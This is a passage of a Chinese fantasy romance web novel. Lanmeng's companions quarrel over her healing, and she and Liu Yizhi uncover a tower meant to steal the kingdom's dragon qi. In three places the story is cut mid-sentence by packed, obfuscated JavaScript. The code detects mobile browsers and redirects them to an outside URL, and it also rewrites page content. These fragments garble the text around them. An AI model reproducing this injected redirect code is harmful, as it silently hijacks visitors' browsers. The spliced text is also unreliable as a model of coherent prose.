她拧眉望向霜笛,不悦道:“你怎么来了?” 切断通讯到现在也就过了一盏茶时间,他是何时来的?还隐藏了自己的气息不让她有所察觉,是专门来找柳逸直的茬的吗? 她又看向柳逸直,问道:“他找你麻烦了?” 柳逸直眼中只有她身上那件绯衣,明明是张扬的颜色,可被她穿在身上就好似被人磨平了棱角,变得乖顺又内敛,他如梦初醒,老实回答道:“这位公子自称是你指腹为婚的未婚夫,想要带你走。” 岚孟要被气笑了,“你还真是狗嘴里吐不出象牙啊,这种谎话你也编得出来?你怎么不说我们早就成亲了还生了俩娃呢?” 霜笛恍然大悟地“哦”了一声,尾音拖得很长,像是忽然被人点醒一般,他笑道:“受教了,下次就这样说吧。” 他站了起来朝门口走去,“既然你也收拾好包袱了,那我们这就启程吧。” 说着就要去抓岚孟的手,却被她一把挥开,岚孟冷脸道:“不都说了我不回去么?我自己的事情自己能解决,犯不着您大老远跑来操心。” 一听这阴阳怪气的口气,霜笛就知道她生气了,好笑道:“你真觉得我想管你?要不是今望月求着我,我就是去管大路边上的阿猫阿狗,我也不稀得管你!” 岚孟朝门口伸出手:“慢走,不送。” 霜笛怒气冲冲地朝门口走了两步,才发现自己被岚孟带进坑里了,于是往后倒退几步,在岚孟和柳逸直中间站定,双手叉腰道:“那我还就住这了,等你什么时候恢复了,我就什么时候走。” 柳逸直嘴角微抽:“阁下是不是太不把自己当外人了?” “既然你要这么算,我们家岚孟和你又没啥关系,不也是外人?她都住得,我为何住不得?”霜笛理直气壮道。 虽然霜笛的理由完全站不住脚,可他毕竟是岚孟的故人,再僵持下去,闹得也不好看,杳云居也不是没有空屋子,柳逸直只好勉强答应了。 这两日他也不是没有察觉,小飞楼时不时会传来怪异的灵气波动,他就猜测她是不是不太好,毕竟旧伤添新伤,任谁都会有个虚弱的时候。他若开口询问,她定然不会说出实情,说不定还会恼羞成怒,骂他多管闲事,然后一走了之。比起发生这样的情况,还不如装作不知,他至少能给她提供一个安全的环境。 岚孟立即将柳逸直拉到旁边,压低声音道:“他就是个大麻烦,你怎么能把他留下来呢?” 柳逸直望着她漆黑的眸子,心道还不是为了你,嘴上却说:“他非要住,我总不能将他扫地出门吧?我又打不过他。” 也是,岚孟在心中叹气,她也打不过,否则怎会如此被动? 她转而将霜笛拉到了一边,掰着手指头开始约法三章,要有礼貌啦,不能毁坏这里的东西啦,不能给主人家添麻烦啦,诸如此类,说了一箩筐。 霜笛一一接受,在岚孟看不见的地方,却朝柳逸直递去一个挑衅的笑容。 柳逸直额头青筋乍起。虽然让霜笛留下来也是为了岚孟着想,毕竟他总不可能干看着,让岚孟的伤愈发恶化,必然会有所行动。 但他怎么就这么不爽呢? 这时,柳意欢从门口探出头,打量着厅内的三人,怯生生道:“那个,三哥,可以吃饭了。” 柳逸直扬起一个无可挑剔的笑:“霜笛公子,请移步偏厅用膳吧,也让我这个主人,好好招待招待你。” 霜笛颔首:“既然柳公子如此盛情邀请,那在下就却之不恭了。” 两人并肩推推搡搡走了出去,你快一步我也快一步,谁也不让谁。 柳意欢看着两人的背影,心道他们的关系怎么变得这么好了?她看向慢了一步的闫扶音,哦不,岚孟,问道:“岚孟姑娘,那人真是你的未婚夫婿吗?” 岚孟无奈道:“自然不是,他信口胡诌的,这个人说的话你一个字都不要信。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079354|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然霜笛的心思不及今望月细腻,也没有她难缠,但是他说话一向不着边际,一个不留神就会给你安排一个催人泪下的身世,鬼泣人怒的际遇抑或是惊世骇俗的桥段,实在是让人防不胜防。 柳意欢懵懂地点了点头。虽然现在看来岚孟姑娘也不喜欢她三哥,但三哥的赢面比那个霜笛公子大多了嘛。 她挽上岚孟的胳膊,喜滋滋道:“岚孟姑娘,我们也去吧。” 岚孟诧异地望了拽着自己的柳意欢,心想这丫头和鸣珂倒是挺像的,一样的自来熟。 饭桌上的气氛十分怪异,一开始霜笛和柳逸直还你来我往地冷嘲热讽,被岚孟各自瞪了一眼以后便不说话了,他们不说话柳意欢也不好意思说,几人在沉默中吃完了一顿饭。 午后,霜笛抓着岚孟给她检查身体,后者一脸不耐烦地伸出手腕来让他把脉,嘴里还嘀咕着“我又不是人,摸脉搏能摸出个啥来”。 霜笛拿起扇子在她头上敲了一下,沉声道:“安静,吵吵嚷嚷的影响我发挥。” 岚孟只好把嘴闭上。 柳家两兄妹则好奇地站在一旁观望,柳意欢毫无察觉,柳逸直却能感觉到霜笛指尖涌出了一股温润的气息,从岚孟的手腕涌入了她的身体里,没过多久,霜笛才收回了手,一屁股在岚孟对面的藤椅上坐下,朝一旁的柳逸直伸手:“取笔墨来。” 柳逸直重重地将一套足足两斤重的文房四宝拍到了霜笛手上,在霜笛饱含愠怒的目光看过来的时候,他还无辜地笑了笑:“不必客气。” 霜笛重重将文房四宝搁到了桌上,忍着怒气笑眯眯道:“可否请柳公子帮忙研一下墨?” 柳逸直微笑道:“当然可以。” 他将文房四宝拆开摆好,往砚台里添了水,捏着墨条一端,大力地研起墨来,很快砚台里便蓄起了浓黑的墨汁,他再一个“不小心”,墨汁飞溅起来,在霜笛的衣襟上开出了几朵墨色梅花。 霜笛差点咬碎一口银牙,唇角抽搐,挤出两个字来:“小子……” “我说,”围观了全程的岚孟一脸无语,“你俩多大了,幼不幼稚?” 柳意欢点头表示赞同:“我们家才四岁的囡囡和邻居家的小屁孩吵架的时候也这样。” 柳逸直率先摆正了姿态,老老实实研起墨来,霜笛抬手拂过衣襟,墨点便消失不见,他鼻孔出气哼了一声,提笔在纸上快速地写,很快便密密麻麻写满了一张纸,他放下笔,将纸拾起来吹了吹,一把拍在了柳逸直胸膛上,道:“小子,赶紧抓药去吧。” 柳逸直拿过药方一目十行地看,都是灵药,有他认识的也有完全不熟悉的,不过……他将纸摆到霜笛面前,指着最下面一行字,曲起食指叩了叩桌子,道:“别的也就罢了,能说会唱的伶人十名和五十年陈酿好酒三坛是怎么回事?” 霜笛抬眼看他:“说你见识短浅你还不承认。我们岚孟是因尧玦那家伙的妖丹反噬而气血两亏,找伶人来当然是投其所好咯?毕竟尧玦生前可是个乐修,最喜欢听曲了。” 妖丹反噬?难怪岚孟背后的伤口里长出了重明羽毛,她还能使用尧玦独有的能力,能引得暾云炬异动,这么一来就全都说得通了。 柳逸直心中掀起了惊涛骇浪,面上却不显,继续道:“那这三坛美酒呢?” 霜笛理直气壮道:“一坛用来做药引,剩下两坛自然是孝敬给我老人家咯!” 他抓着那张药方在柳逸直面前晃悠,勾唇笑道:“柳公子不会这点钱财都舍不得吧?” 柳逸直白他一眼,夺过药方,只留下一句“我去去就回”以后便大步流星走了出去。 剩下三人面面相觑,柳意欢只觉得这里不是自己该待的地方,嘟囔着:“哎呀呀,也不知道翠儿把碗洗干净没有,我看看去!”背着手离开了。 等人都走了,霜笛才沉下脸,盯着岚孟的眼睛,冷冰冰道:“说说吧,为什么要抗拒和妖丹融合?” 岚孟若无其事地站了起来。 “我去看看小翠洗干净碗没有。” 霜笛微笑:“坐下。” 75. 泊溪酒 该来的还是来了,岚孟心想。好在她早已想好了借口,煞有介事道:“很快我就能自己结丹了,自己的东西总比别人的好用吧?” 霜笛上下打量她,不信道:“真的假的?你可别想随便找个理由搪塞我。” 岚孟脸色一沉,佯怒道:“爱信不信,你管那么多?反正药方也开了,你还是趁早回去吧,一看见你我就心烦,说不定反噬就更严重了。” 霜笛乐道:“你的良心被狗吃了?你以为我闲的?” 岚孟冷哼一声:“谁知道你心里怎么想的,反正这里庙小,供不下你这尊大佛,你老人家还是趁早打哪儿来回哪儿去吧。” “嘿——”霜笛气得跳脚,“我还就待在这了,我倒要看看你要整什么幺蛾子!” 两人不欢而散,霜笛怒气冲冲地甩袖离开,岚孟松了一口气,坐在原地等了没多久,柳逸直便回来了,从芥子袋里提出一个沉甸甸的药柜放在桌上,里面分门别类放满了二十余种药材,尚未打开柜门,便有苦涩浓郁的药香扑鼻而来。 他将手放在脸颊边扇了扇风,环顾四周也没见到霜笛的身影,问道:“他呢?” 岚孟啜了一口茶,风轻云淡道:“被我气跑了。” 柳逸直刚把三坛美酒取出来放到桌上,闻言立即后悔道:“走了?那早知道我就不买这么多酒了。” 然而话音刚落,酒坛上方忽然多了一条裂缝,一截雪白的布料探了出来,雪衣中冒出来一只冷白的手,抓起坛口的绳子就提走了两坛酒,同时,霜笛的声音好似从四面八方传来,“按照药方的顺序,将药草倒进温泉池里,让你买的是三次的量,酒也是,别倒多了。” 柳逸直的表情顿时垮了,啊,还没走啊,阴魂不散的家伙。 岚孟瞥见他郁闷的小表情,一下子没忍住笑出了声。 霜笛犹未现身,声音却清晰地传进了柳逸直耳中。 “我让你找的伶人呢?” 柳逸直实诚道:“大多数技艺高超的名伶乐师都被皇帝抓进教坊司了,剩下的不是滥竽充数,就是给钱也不愿意来,不知道的还以为这里是什么狼穴虎窝呢。” 柳逸直幡然醒悟。他们怕的不是杳云居,而是栖凰山,因为这里有伐木场,有逐月塔,有残酷的官吏、染血的皮鞭和干不完的活,难怪乐坊的老板一听到是在栖凰山这边,就把他轰出来了。 本以为会受到霜笛的冷嘲热讽,没想到他只“哦”了一声,然后便改了主意:“既然请不来人,那就去城里找个人多又热闹的地方溜溜吧,想来也是一样的效果。” 柳逸直等了许久也没等来下文,便看向岚孟:“那我们走吧。”他将药柜和剩下的一坛酒都提了起来,率先朝小飞楼走去。 岚孟跟上去,朝他伸出手道:“我自己来就行,不麻烦你了。” 柳逸直脚步没停,微微偏头瞥她一眼,腾出一只手,从腰间取出一杆戥子称,“要称三分之一,你会吗?” 岚孟心说这有什么不会的?她走上前一步,正要从柳逸直手里接过那杆戥子称,余光却瞥见了他抿紧的唇和沉下来的脸色,伸手去拿称的时候果然没拿动,另一头被他牢牢握在了手心。 岚孟:“……那就麻烦你了。” 柳逸直绽开笑容:“客气。” 两人一前一后往小飞楼走。其实杳云居不止小飞楼有温泉池,柳逸直现在住的岁怡堂里也有一个,不过是露天的。当时也考虑到她一个姑娘家用露天温泉池不太方便,所以才把小飞楼让了出去,现在想想他真是做了一个相当正确的决定。 小飞楼里有阵法转运湿热之气,所以即便温泉池终年热气腾腾,阁楼里也干净清爽。柳逸直没走到温泉池边,在宽大的花鸟屏风外面搬了张凳子坐了下来。 岚孟本想着看看她有什么能帮得上忙的地方,却见柳逸直手脚麻利,对照着药方,称好一味药材便用灵力将其送到屏风后,一股脑倒进池里,丝毫不拖泥带水,她只好站在旁边干看着。 柳逸直抬头看了杵在一旁的姑娘一眼,长腿一勾,便将不远处的凳子挪到了她腿边,道:“坐啊,站着干什么。” 岚孟顺势坐下,两手放在膝盖上,抬头环顾四周,只觉得无事可做,便只好百无聊赖地看着眼前之人称药材。 察觉到她的目光落在了自己身上,柳逸直便试探着开口道:“你和霜笛认识很久了?” 岚孟淡淡“嗯”了一声,这也没什么好隐瞒的,“我念书识字都是他教的。” 所以是老师不是未婚夫啊,柳逸直松了一口气。若“闫扶音”这个名字是所谓的未婚夫起的,那他真的会心碎。 方才柳意欢偷偷告诉他,霜笛说“‘闫扶音’是岚孟行走人间的假名”,何为“行走人间”?难不成岚孟的来处就那么神秘,不在人间,不在九州,跳出三界之外? 柳逸直顿时福如心至,莫非是诸神神邸?天底下恐怕只有神邸才能被称作非人间之地,而且旸谷的神使也认识她,莫非她也是神使? 柳逸直三心二意地称着药材,心中已掀起了惊涛骇浪。前不久从柳意欢口中得知,岚孟家住折梅乡附近,柳逸直也去看过舆图,折梅乡位于宁州西南部,和山到源一样,是个群山连绵不绝的宝地,而她又是木灵化身……莫非她来自春神句芒的神国云登谷,还是神使? 越想越觉得这个猜测入情入理,柳逸直掩耳盗铃般抬抬手、耸耸肩,活动活动筋骨,然后“不经意”地歪头看向身侧的女子,结果径直对上了一双墨瞳,也不知道她盯着他看了多久了,眼底蕴含着他看不懂的复杂神色。 岚孟纳闷道:“你在干什么?八百个小动作,以为我瞧不见?” 柳逸直尴尬地放下手,讪讪地笑了一下,然后继续称着药材。好在剩下的药材已经不多,他迅速称完了送到屏风后,再引了三分之一的酒到温泉池里,只丢下一句“你好好疗伤吧”就火急火燎地跑了。 岚孟皱眉看着那扇摇摇晃晃的门,心想是吃错药了吗?走过去将门栓好,设下一层结界,她才转身去了屏风后。 离开小飞楼后,柳逸直在杳云居内转了两圈,终于在角落的竹林里找到了相谈甚欢的柳意欢和霜笛,石桌上摆了他方才买来的好酒,有一坛已经空了,两人各自拿着一个海碗,小翠候在旁边,给他们轮流倒酒喝。 这三坛酒都是从柳家酒肆拿的,掌柜还送了两碟下酒菜,柳逸直将其取了出来放到了石桌上,笑道:“喝酒怎么能没有下酒菜呢?” 柳意欢见他来了,便撂下酒碗,在柳逸直耳边悄声道:“三哥你陪他喝吧,我喝不动了。”言罢便一溜烟跑了。 霜笛拣起一粒花生米喂进嘴里,斜眼瞅了柳逸直一眼,道:“还挺上道的嘛。” 柳逸直在霜笛对面坐下,取出一个新的海碗,拎起酒坛满满斟了一碗酒,朝霜笛道:“方才多有得罪,还请霜笛兄勿怪。” 霜笛瞥了柳逸直一眼,举着自己的酒碗和他碰了碰,道:“看在美酒的份上,就恕你无罪吧。” 清澈醇香的美酒入喉,霜笛熨帖地叹了一口气,“好酒!” 柳逸直单手举着碗将酒一饮而尽,笑道:“这是我们柳家最负盛名的泊溪酒,比起你们云登谷的酒如何?” 霜笛张口就来:“那当然差远了!单说这香味和色泽,一个天上一个地下……”他猛然回神,果然在柳逸直唇边望见一抹转瞬即逝的笑意。 这还有什么不明白的?霜笛拉下脸:“你套我话?” 柳逸直笑笑:“还得多谢仁兄解惑。” 霜笛冷笑一声:“你猜的不错,我们的确是云登谷中人,岚孟还是一人之下万人之上的神使,全天下花草树木的生杀予夺都掌握在她手中。这样一个人,你拿什么来和她相配?我劝你趁早死了这条心吧。” 柳逸直道:“这就不劳您操心了。”他放下酒碗,起身冲霜笛抱了抱拳,笑道:“还望您喝得尽兴,在下便不打扰了。”然后头也不回地转身离开了竹林。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087903|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳逸直离开后良久,霜笛才饮尽了碗中酒,看着碗底一圈一圈的花纹,语气玩味:“有意思。” - 时间一晃到了傍晚,岚孟穿好衣服走出小飞楼时,柳逸直兄妹不见踪影,门口马车也不在,估计是回城了。岚孟找到霜笛时,他还在那个僻静的竹林里喝酒,见到她来,捂着嘴打了个哈欠,道:“过来我给你看看。” 岚孟听话地走过来伸手给他,霜笛琢磨许久,笑道:“吸收得不错,泡三次药浴肯定够了。” 岚孟抽回手,道:“你过来一下,我有事和你说。”说完也不等他,径直走到墙边翻了出去。 霜笛纳闷道:“啥事啊,还要到墙外边才能说?” 墙外传来岚孟的催促:“快点。” 霜笛认命地翻墙出去,在杂草零星的小路上走了一会,直到出了杳云居结界的范围,走在前面引路的岚孟才停下了脚步,霜笛在她旁边站定,问道:“何事?” 岚孟朝他抬了抬下巴,意思是“跟上”,然后便飞上了天。 昂?什么悄悄话非得去天上才能说?霜笛双腿蓄力使劲一蹬,整个人飞上高空,悬浮在岚孟身边,纳闷道:“别卖关子了,到底啥事,我的时间很宝贵的好不好?” 他们如今所在的高度能将半个栖凰山脉纳入眼底,圆弧形的山脉好似一条卧在地上的龙,卧泉城位于龙首和前爪之间,桐泉湖则正正位于龙腹的位置,湖边一座高塔已具雏形,地上密密麻麻全是人,好似忙碌的蚂蚁,来回奔波,不知疲倦。 岚孟指了指那塔,问道:“你觉得如何?”霜笛的修为比她高,应该能看出来此地有何端倪,她只是有点模糊的感觉,所以一直没和柳逸直提。 霜笛看了看那座尚未建成的逐月塔,又仔细打量了整个栖凰山的地势,脚步微动,他便来到了桐泉湖畔的大树上,和塔隔着一段不远的距离。 他的眼睛瞬间变成了一线竖瞳,幽冷的视线扫过高塔,转瞬间便又恢复了正常,岚孟轻轻落在他身侧的树干上,问道:“如何?” 霜笛脸上一向吊儿郎当的表情变成了凝重,他冷冷道:“当真是胆大包天。” 岚孟追问道:“真有问题?” 霜笛解释道:“栖凰山是楚国龙脉所在地,这一池湖水位于‘龙腹’,本该是龙气最为浓郁之地,但是建了这座塔,就相当于是在龙肚子上开了个口子,龙气自然会一泻千里。” 岚孟拧眉道:“但是我并没有感觉到龙气在流逝。” 霜笛勾唇:“这就是建塔之人的高明之处了。打个比方,用锥子在水坝上凿个洞,再给你个不会漏的布袋子,你当如何?” “自然是用袋子堵住眼,不让水流走。”岚孟道,“你的意思是,那塔的作用就相当于是布袋子?” 霜笛打了个响指,“不错。但是再大的布袋也有装满的一天,这塔也一样,所以建塔之人在塔底设了个阵法,只要水一漫出来,就用阵法移到别的地方去,神不知鬼不觉,我都想给他鼓掌了。” “等九层高塔落地那一天,普普通通的布袋子就成了乾坤袋,届时无论水库里有多少水,都能尽数收入囊中了。” 岚孟看着熙熙攘攘的人群,猜测道:“离塔建成那一日应该不远了吧?” 霜笛道:“顶多一个月吧。” 他斜眼瞥了岚孟一眼,道:“你要管这事?” 岚孟犹疑道:“都知道了,也不能丢着不管吧。”她叹了口气,“先回去从长计议吧。” 两人一前一后离开了桐泉湖,就在他们离开后不久,一个身着黑衣戴兜帽的人从塔中走了出来,夜色模糊了他的面容,整个人显得阴郁而神秘。 身着官服的年轻人捧着一本册子走到了黑衣人身后,恭敬道:“国师大人,这是您要的账簿。按照现在的进度,不出一个月,逐月塔便能建成了。” “嗯,干得不错,继续盯紧了,务必要在春分之前建成。” “是。” 76. 沆瀣浆 太阳落下西山,天一下子便黑了。春天的夜晚静悄悄的,往来的风声呜呜呼啸,打着旋儿扬起一片又一片的落叶。 杳云居正厅,岚孟和霜笛相对而坐,一个喝茶一个饮酒,一时间谁也没有说话。 半晌,岚孟放下茶盏,问道:“有什么办法,能在塔底阵法崩塌的瞬间,把龙气的豁口给堵上吗?” 霜笛哂笑道:“你还真以为是什么水坝不成?龙气虚无缥缈,看不见又摸不着,就连我也只是能感知到它的存在罢了,你上哪堵去?更何况你身份特殊,不可随意接触龙气,否则护国神龙被惊醒,还以为你才是居心叵测的那一个呢。” “真麻烦……”岚孟叹气道,“要不装作不知道吧,等东窗事发,山到源那些老家伙总能察觉到的。” “什么东窗事发?”柳逸直清朗的声音传入堂中,他提着一个食盒走了进来,来到岚孟旁边,打开食盒,将一个热气腾腾的食盅放在了桌上,道:“马蹄雪梨汤,趁热喝吧。” 霜笛伸长脖子,问道:“我的呢?” 柳逸直瞥他一眼,扬手将一个手掌高的瓷瓶抛了过去,霜笛稳稳接住,轻轻晃了晃,有水声传入耳中,他问道:“酒?” 柳逸直答:“沆瀣浆……” 霜笛已经将瓶塞拔掉了,甜丝丝地味道扑鼻而来,他仰头喝了一口,然后“噗”地一声喷了出来,花容失色道:“什么玩意?!” 味道甜得发齁,舌头还辣辣的,简直比毒药还难喝! 柳逸直补上了未说完的话:“是一种解酒药,公子整日酗酒也不美,在下特意让小厨房为你备了解酒的药,熬得浓浓的,一碗水兑一滴沆瀣浆就可以了,相当方便。” 霜笛猛地灌酒来冲淡口中的齁甜味,斜眼看着施施然坐在岚孟身边的柳逸直,心中咬牙切齿地想,这小子绝对是故意的! 岚孟温温吞吞地吃着雪梨汤,心想总算看见霜笛吃瘪了,哈哈。 柳逸直把头偏向岚孟,温声道:“你们方才在说什么?” 岚孟放下调羹,将她们白日里在桐泉湖的发现说了一遍,问道:“你有什么看法?” 柳逸直想了想,道:“龙气是一国命脉所在,确实不能随意染指,山到源也有规定不可肆意插手皇族事宜。不过既然是有人别有用心,那我们将此事报上去,宗门自然会派人过来,或者让我们自己处理。” 岚孟忧虑道:“恐怕此事不仅是窃取龙气这么简单。” “何意?”柳逸直问。 “先前我在卧泉城见到了皇帝,他身边有个凝贵妃,应当是个吸人精气的妖邪。” 凝贵妃……柳逸直想起来柳意欢也和他说过这个凝贵妃来着,皇帝修建逐月塔也是为了她。 “会不会就是凝贵妃在窃取龙气?”他猜测道。 岚孟皱眉道:“我也不知,只是远远地望了一眼,没瞧出来她身上是不是有龙气。” 霜笛敲了敲桌子,不悦道:“喂,姓柳的,把头拿开。” 柳逸直这才发现自己的头和岚孟十分相近,头顶的发丝几乎挨在了一起,他直起身掩唇咳嗽了一声来掩饰尴尬,岚孟不解地望了他一眼,继续吃着手里的雪梨汤。 柳逸直道:“不管怎么说,得先知道阵法是什么,运作的原理,以及破坏以后会造成什么后果,然后才能对症下药。” “那就明日再去瞧一瞧吧。”岚孟拍板定案。她正好也吃完了雪梨汤,将食盅放进了食盒里,然后便站起了身,“我先回去了,你们聊。” 见岚孟走了,柳逸直也没有理由多待,他答应给她做的灯还没弄完呢,于是提上食盒也走了。 霜笛目送他们两个一个接一个走了,独留自己孤家寡人一个坐在一盏昏灯之下,无助地抱紧了酒坛,惆怅道:“哎,最终就只剩下我们哥俩相依为命了。” “不对,”他忽然想起了什么,朝柳逸直逐渐远去的背影喊道:“本大爷晚上睡哪啊?” 柳逸直头也没回:“您随意找个空屋子吧,这里没有老鼠。” 霜笛:“……” - 次日清晨,柳逸直再一次从梦中惊醒。 梦里还是同样的尸山火海,一个沐浴着火焰朝自己走来的男人,只不过这一次他看清了男人的容貌,听清了他的声音——是仅有一面之缘的尧玦。 他面容哀戚,笑容里带着苦涩,他说,请你帮帮她,拜托你了。 柳逸直想要追问,然而他的手一碰到尧玦,他的身体便如幻影般消散,然后梦就醒了,柳逸直冒了一身的冷汗。 拥着被子坐在床上,柳逸直右手扶着太阳穴,左手捏着曾经尧玦赠予他的尾羽,神色晦暗不明。 他体内好像还有尧玦亲手设下的记忆封禁术,要是还有一片尾羽就好了。 汪汪声传入耳中,是小咪咪在叫,这大家伙每天早上起来都要啃一根肉骨头,现下可能是饿了。 柳逸直将尾羽放回锦盒好好收了起来,然后迅速起床穿衣,用冷水抹了一把脸,推门出去,到厨房端了根肉骨头,来到小咪咪的狗窝以后才发现霜笛已经在那了,手里握着一截树杈子逗狗,小咪咪明显是被惹得生气了,半趴着身子,朝霜笛龇牙咧嘴叫个不停。 柳逸直走过去将霜笛挤开,美其名曰怕他被咬,实则是挡住了小咪咪的视线,省得小咪咪再气恼,都说气大伤身,小咪咪已经是六岁老狗了,可不得悠着点。 小咪咪一见到肉骨头便什么气都消了,哼哧哼哧干着饭,时不时抬头望不远处的霜笛一眼,生怕他虎口夺食。 霜笛冷哼一声,心想他堂堂蛇君,还会稀罕一根狗骨头不成?他丢开了手中树杈,背着手往屋檐下走,走了三两步,他想起了什么,扭头朝柳逸直道:“你告诉岚孟一声,我有事出去一趟,也可能不回来了,让她好好养伤,泡不完那堆药材不能动用灵力。” 柳逸直心中窃喜,这个碍事的家伙终于要走了,面上自然不显,老老实实应承下来。 不一会儿,霜笛的身形便于虚空中消失了。 日上三竿,岚孟才从小飞楼走了出来,柳逸直放下手里的活,跑到她跟前将霜笛的话一字不差重复了一遍,岚孟揉了揉眼睛,冷冷哼了一声,嗤笑道:“果然不是真心来找我的,估计是去会哪个酒友了吧,不管他,我们去桐泉湖吧。” 柳逸直提议道:“我带你过去吧,不是不让你动用灵力吗?” 岚孟心道我好歹也是鸟,鸟扑腾翅膀飞翔是本能,何须动用灵力?可看着柳逸直亮晶晶的眼睛,她鬼使神差地点了点头。 柳逸直得到了允许,心中雀跃不已,却也只是老实地伸手扣住她的肩膀,脚下生风,山野与树林飞快地从两人身侧划过,几息之后,隐匿了声息的两人已经站在了塔下。 百姓们牟足了劲干活,比以往更要卖力,汗水泼洒于地,吆喝声此起彼伏,岚孟和柳逸直从他们身侧走过,却无一人发现他们的踪迹。 一个二十岁出头的年轻人愁眉苦脸地坐在一根木头上,他身上的官服灰扑扑的,沾染了许多灰尘,他眼下青黑明显,唇边冒出了许多短短的青茬,瞧着像是许久没睡过好觉了。他时而望着膝头的图纸,时而又抬头看看忙得热火朝天的百姓们,时不时叹一口气,似乎十分苦恼。 柳逸直转到了他背后,低头望着那张逐月塔图纸,朝岚孟道:“只是一份普通的图纸,照现在的进度,已经完成了三分之二,剩下的估计还得要一个月时间。” 岚孟点了点头,这和昨日霜笛的猜测一致。 这时,另一个身着官服的青年提着茶壶和杯子跑了过来,扬声道:“展大人,来喝口茶吧!” 展恪将图纸放到一边,起身迎接青年,笑道:“有劳郭大人了。” 郭宇天“嗐”了一声,爽朗道:“你我也共事近一年了,还这么客气做什么!” 展恪笑了笑,端起茶杯喝了一杯又一杯,可见是渴极了,他用袖子擦了擦唇边的水渍,叹气道:“国师让工期缩短一半,我正愁该怎么和手底下的工匠们说呢。” 郭宇天大吃一惊:“又缩短?不是,他赶着投胎呢?” 展恪一惊,连忙伸手捂住他的嘴,然后谨慎地朝四周望了望,见没人注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096209|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边,才松开手,压低声音道:“郭大人,你小声点,也不怕被人听见。” 郭宇天啐了一口,低声怒骂道:“谁让那国师不干人事?他怎么不把我头砍了?也不瞧瞧自己提的什么要求,现在匠人们一天就睡两个时辰,我都怕他们干活干着干着从塔上掉下来,他大国师的命是命,我们这些黎明百姓的命就不是命了?” 展恪叹气道:“国师大人有他自己的考量吧。” 郭宇天哼了一声,“陛下也是糊涂,非要大兴土木建这个劳什子逐月塔,塔建成了他就能飞上天去把月亮捞下来不成?” 展恪道:“我听说这两日陛下还是病得没来上朝?” “可不是么。”郭宇天一向消息灵通,就算是待在深山老林里,他也对朝堂发生的事情了如指掌。 “陛下子嗣单薄,膝下只有一位年幼的公主,他若是病得无法上朝,就该由皇后殿下垂帘听政的,但是咱们陛下糊涂啊,把朝政大权交给国师了,现在朝堂就是他崖昱的一言堂,还不是他说什么就是什么?据说逐月塔建成之日还要举行祭天仪式呢!” “丁丞相没有上书进谏?”展恪问道。 “怎么没有?丁丞相率领半数官员向陛下进言,结果被轰出来了,每人打了三大板子,丁丞相都六十多了,据说差点下不来床。” 展恪面露哀戚:“丁老为国为民,陛下实在是不该啊。” “现在朝廷乌烟瘴气的,都城里也不安生,百姓们都不敢大声说话,哪还有当年先皇在世时国泰民安的样子……” 郭宇天又絮絮叨叨说了些被皇帝听到可能要诛他九族的话,才抱着茶壶去干自己的活了,展恪也不再唉声叹气,收好图纸去监工,一直站在他们背后听墙角的岚孟和柳逸直也提步朝逐月塔走去,周围虽然没有其他修行者的气息,但阵法或许能感知到他们的存在,所以他们没有贸然进入塔中,只在外围观望。 在阵法方面岚孟就是个半吊子,所以她看了一眼,发觉自己若要看出什么门道来的话得十天八天以后,她就离开逐月塔去其他地方查看了,塔底阵法则完全交给柳逸直来处理。 一个时辰后,两人在桐泉湖对面汇合。湖面上倒映着开得热烈的雪柳花和奇形怪状的朵朵白云,清风徐来,平静的湖面荡漾起涟漪,雪柳花也泛起了一层层褶皱,如晕染开来的水墨画。 岚孟率先说出了自己的发现:“以逐月塔为中心,方圆十里以内,除了这些干活的百姓,没有其他活物,蛇鼠虫蚁也没有,估计是被强行驱逐了。看来做下这些事情的人也害怕被诸神注视,做得很隐秘。” 柳逸直则将他的画本子拿了出来,他粗略地绘制了塔底阵法的纹路,耐心讲解道:“此阵以紫微垣为中枢,太微垣布列四方,天市垣衍化周天,引天极三垣之力镇压人间龙气。一般来说星垣阵应在正中央放置九尺玄圭引动星气,现在换成了逐月塔,既可引气又是容器,待塔建成之后,众星列布,阴阳转置,龙脉中的龙气便能尽数转至塔内。” 他指了指对岸的逐月塔塔顶,“人可以直接站在塔顶吸纳龙气,但极大概率会因龙气过多导致爆体而亡,最稳妥的办法是放置一颗乾坤珠,锁住塔尖不让龙气外泄,同时吸纳塔中龙气,到时候拿走乾坤珠就可以了,只留下一个空塔,神不知鬼不觉。” “如何阻止?”岚孟只关心一件事情。 “好问题。”柳逸直将手收了回来,食指抵在下巴上皱眉沉思,“若直接毁阵会造成龙气外泄,得想个办法才行。” 结果这一想就是一整天。 傍晚,岚孟按照霜笛的意思,在卧泉城最热闹的集市上溜达了一圈,等她踏着月色回到杳云居时,柳逸直还在书库里埋头苦读,仿佛入了忘我的境界,岚孟也就没管他,自顾自回到了小飞楼。 